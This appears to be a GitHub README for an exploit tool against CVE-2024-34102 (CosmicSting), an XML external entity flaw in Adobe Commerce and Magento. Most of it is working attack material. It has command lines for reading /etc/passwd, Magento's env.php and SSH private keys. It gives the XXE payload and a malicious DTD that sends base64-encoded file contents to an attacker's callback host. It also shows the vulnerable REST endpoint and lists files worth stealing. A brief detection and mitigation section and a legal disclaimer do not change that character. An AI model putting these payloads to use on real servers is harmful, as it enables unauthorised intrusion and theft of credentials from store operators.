CVE-2024-34102 - CosmicSting XXE Exploit

Exploit for CVE-2024-34102 (CosmicSting) - XML External Entity (XXE) vulnerability in Adobe Commerce and Magento.

📋 About the Vulnerability

CVE-2024-34102 is a critical XXE (XML External Entity) vulnerability affecting:

Adobe Commerce versions 2.4.7, 2.4.6-p5, 2.4.5-p7, 2.4.4-p8 and earlier
Magento Open Source (same versions)

This vulnerability allows an unauthenticated attacker to:

📄 Read arbitrary files from the server
🔐 Exfiltrate credentials and sensitive configurations
💾 Access database information
🚨 Execute arbitrary code (in some scenarios)

CVSS Score: 9.8 (Critical)

🎯 Credits

This exploit is based on the original work by:

@Chocapikk - Original CVE-2024-34102

Improvements in this version:

✅ Custom dynamic DTD server (avoids fars.ee dependency)
✅ Callback server with automatic decoding
✅ Required parameter validation
✅ Retry logic for external services
✅ More descriptive error messages
✅ HTTPS support for callbacks
✅ Full Python 3.8+ compatibility

🛠️ Requirements

Python 3.8 or higher
Access to a server to host DTD files (VPS, Burp Collaborator, etc.)
Callback service (Burp Collaborator, Oastify, or own server)

📦 Installation

# Clone the repository
git clone https://github.com/YOUR_USERNAME/CVE-2024-34102.git
cd CVE-2024-34102

# Install dependencies
pip install -r requirements.txt

🚀 Usage

Method 1: Using fars.ee (automatic)

python3 exploit.py \
  -u https://target.com \
  -f /etc/passwd \
  -c your-callback.oastify.com

Method 2: Using your own DTD server

Terminal 1 - DTD Server:

sudo python3 server_dtd.py

Terminal 2 - Exploit:

python3 exploit.py \
  -u https://target.com \
  -f /etc/passwd \
  -c your-callback.oastify.com \
  --dtd-server YOUR-IP:8000

Method 3: With your own callback server

Terminal 1 - DTD Server:

sudo python3 server_dtd.py

Terminal 2 - Callback Server (auto-decodes):

sudo python3 callback_server.py

Terminal 3 - Exploit:

python3 exploit.py \
  -u https://target.com \
  -f /etc/passwd \
  -c YOUR-CALLBACK-IP \
  --dtd-server YOUR-DTD-IP:8000

📝 Parameters

Required:

-u, --url - Target URL (base domain)
-f, --file - File to read from server (e.g., /etc/passwd)
-c, --callback - Callback server (IP/domain)

Optional:

--dtd-server - Custom server to host DTD file
--https - Use HTTPS for callback (default: HTTP)

🎬 Examples

Read /etc/passwd

python3 exploit.py \
  -u https://vulnerable-site.com \
  -f /etc/passwd \
  -c abc123.oastify.com \
  --dtd-server 192.168.1.100:8000

Read Magento configuration

python3 exploit.py \
  -u https://vulnerable-site.com \
  -f /var/www/html/app/etc/env.php \
  -c abc123.oastify.com \
  --dtd-server 192.168.1.100:8000

Read SSH keys

python3 exploit.py \
  -u https://vulnerable-site.com \
  -f /home/ubuntu/.ssh/id_rsa \
  -c abc123.burpcollaborator.net \
  --dtd-server 192.168.1.100:8000 \
  --https

🔍 How It Works

1. Out-of-Band XXE

The exploit uses Out-of-Band XXE technique to exfiltrate data:

<!-- Payload sent to target -->
<!DOCTYPE r [
  <!ENTITY % sp SYSTEM "http://your-server/exploit.dtd">
  %sp;
  %param1;
]>
<r>&exfil;</r>

2. External DTD

The target server downloads the malicious DTD:

<!ENTITY % data SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://callback/?exploited=%data;'>">

3. Exfiltration

The server processes the XML, reads the file, encodes it in base64 and sends it to the callback:

GET /?exploited=cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYmFzaAo...

4. Decoding

echo "cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYmFzaAo..." | base64 -d

📊 Example Output

[*] CosmicSting XXE Exploit (CVE-2024-34102)
[*] Target: https://vulnerable-site.com
[+] Callback Server: abc123.oastify.com
[+] Using custom DTD server: 192.168.1.100:8000
[+] DTD URL: http://192.168.1.100:8000/12ec6594.dtd?callback=abc123.oastify.com&file=/etc/passwd&protocol=http

DTD will be dynamically generated with:
[*]   Callback: http://abc123.oastify.com
[*]   File: /etc/passwd

DTD server is running? Ready to continue? [y/N]: y
[+] Target file: /etc/passwd
[+] Callback URL: http://abc123.oastify.com/?exploited=...
[*] Sending XXE payload to: https://vulnerable-site.com/rest/V1/guest-carts/1/estimate-shipping-methods
[*] Response status: 500
[!] Status 500 - This is normal! XXE may have triggered.
[!] Check your callback server for incoming requests.
[*] Waiting for callback (5 seconds)...

=== CHECK YOUR CALLBACK SERVER ===
[!] Monitor your callback service for incoming HTTP requests
[!] Expected request: http://abc123.oastify.com/?exploited=<base64_data>

To decode the exfiltrated data:
[*]   echo 'BASE64_STRING' | base64 -d

[!] Check your Burp Collaborator or Oastify dashboard now!

🛡️ Detection and Mitigation

For Defenders:

Detection:

Monitor HTTP requests to /rest/V1/guest-carts/*/estimate-shipping-methods endpoints
Alert on XML payloads with external entities (<!ENTITY)
Detect outbound connections to suspicious domains

Mitigation:

Update to patched versions:
- Adobe Commerce 2.4.7-p1, 2.4.6-p6, 2.4.5-p8, 2.4.4-p9
Disable external entity processing in XML parser
Implement WAF with anti-XXE rules

For Pentesters:

Interesting files to test:

/etc/passwd
/var/www/html/app/etc/env.php
/var/www/html/app/etc/local.xml
/home/USER/.ssh/id_rsa
/var/log/apache2/access.log
/proc/self/environ

⚖️ Legal Disclaimer

This exploit is provided for educational and security research purposes only.

Using this code to test systems without explicit authorization is ILLEGAL.

You are SOLELY responsible for your actions. Use only on:
✅ Your own test environments
✅ Authorized bug bounty programs
✅ Contracted penetration tests

DO NOT use on:
❌ Systems without authorization
❌ Production environments without permission
❌ Any malicious activity

The author is not responsible for misuse of this code.

📚 References

⭐ If this project was useful, please consider giving it a star!

CVE-2024-34102

Most Popular